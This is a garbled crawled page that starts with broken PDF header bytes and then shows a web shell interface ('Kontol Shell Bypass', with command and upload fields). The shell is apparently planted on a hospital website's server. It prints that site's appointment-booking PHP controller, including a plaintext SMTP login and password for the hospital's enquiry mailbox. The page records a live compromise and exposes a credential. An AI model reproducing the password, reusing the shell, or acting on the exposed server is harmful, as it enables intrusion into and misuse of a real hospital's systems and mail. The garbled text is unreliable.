%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/application/controllers/Appointment.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Appointment extends CI_Controller {

	
	function __construct() {
        parent::__construct();
		$this->load->model(array('Common_Model','department_model'));
    }
    
	public function index()
	{
	    $data = array();
		$head = array();

        $seoArray = getdynamicseo($this->uri->segment(1));
        $head['page_title'] = $seoArray->SEOTitle!='' ? $seoArray->SEOTitle : 'Book An Appointment | Sharda Hospital';
	    $head['page_description'] = $seoArray->SEODescription!='' ? $seoArray->SEODescription : 'Book An Appointment | Sharda Hospital';
	    $head['page_keyword'] = $seoArray->SEOKeywords!='' ? $seoArray->SEOKeywords : 'Book An Appointment | Sharda Hospital';
		$data['specialities'] = $this->department_model->get_departments_summary('',array('Speciality'),'',array());
	    $this->load->view('_parts/header',$head);
        $this->load->view('appoint',$data);
		$this->load->view('_parts/footer');

    }
	public function booked(){
		$this->load->library('form_validation');
		$this->form_validation->set_rules('name', 'Name', 'required|trim');
		$this->form_validation->set_rules('email', 'Email', 'trim|required|valid_email');
		$this->form_validation->set_rules('phone', 'phone', 'trim|required|numeric|min_length[10]');
		if($this->form_validation->run()==true){
			$formarray['type']=$this->input->post('radio');
			$formarray['name']=$this->input->post('name');
			$formarray['email']=$this->input->post('email');
			$formarray['phone']=$this->input->post('phone');
			$formarray['country']=$this->input->post('country');
			$formarray['speciality']=$this->input->post('speciality');
            $formarray['status']='1';
            $formarray['created_at']=date('Y-m-d H:i:s');
			$inserted_data = $this->Common_Model->saveinfo('sh_appointment',$formarray);
			if($inserted_data>0){
				$this->sendMail('enquiry@shardahospital.org',$formarray, $inserted_data);
				//$this->sendMail('anuj.seth@sharda.ac.in',$formarray, $inserted_data);
				$this->session->set_flashdata('submit_status_msg','<span style="color:green;font-size:12px; margin-top:0px;">Your Appointment has been submitted successfully.</span>');
				redirect('appointment');
			}
		}
		else{
			$this->session->set_flashdata('submit_status_msg','<span style="color:red;font-size:12px; margin-top:0px;">Your Appointment not has been submitted successfully.</span>');
			//$data['submit_status_msg'] = '<span style="color:green;font-size:12px; margin-top:0px;">Your Appointment not has been submitted successfully.</span>';
		}
		redirect('appointment');
	}
	
    public function sendMail($email_id,$formarray, $inserted_data){
		//'SUEIN'.str_pad($del_id,5,"0",STR_PAD_LEFT)
		$year = date("Y");
        $subject =  'SHL'.str_pad($inserted_data, 5, "0", STR_PAD_LEFT).'/'.$year.' Appointment | Sharda Hospital';
        $template = $this->load->view('email_templates/appointment_request',$formarray,TRUE);
	    $this->sendCommonEmail($email_id, $subject, $template);
    }


    public function sendCommonEmail($email_id,$subject,$message){
        $CI =& get_instance();
		$CI->load->library('email');
		$mail=$CI->email;
		$mail->clear();
        //$to = $params['email'];
		$from_email = 'enquiry@shardahospital.org';
		$from_name = 'Appointment | Sharda Hospital';
        //$template = $this->load->view('email_temp/v_email',$params,TRUE);

		$config['charset'] = 'utf-8';
		$config['wordwrap'] = TRUE;
		$config['mailtype'] = 'html';
		$config['protocol']   = "smtp";
		$config['smtp_host']  = 'ssl://smtp.gmail.com';
		$config['smtp_user']  = 'enquiry@shardahospital.org';
		$config['smtp_pass']  = 'Callcentre#2023#&#hospital';
		$config['smtp_port']  = '465';
		$config['_auth_smtp'] = TRUE;
		$config['newline']    = "\r\n";
		$config['crlf']       = "\r\n";
		$mail->initialize($config);
		$mail->from($from_email, $from_name);
		$mail->to($email_id);
		$mail->cc('hospital.callcentre@sharda.ac.in');
		//$mail->cc('rehbar.mehdi@shardatech.org');
		$mail->subject($subject);
		$mail->message($message);
		$mail->send();
    }
	
}

Kontol Shell Bypass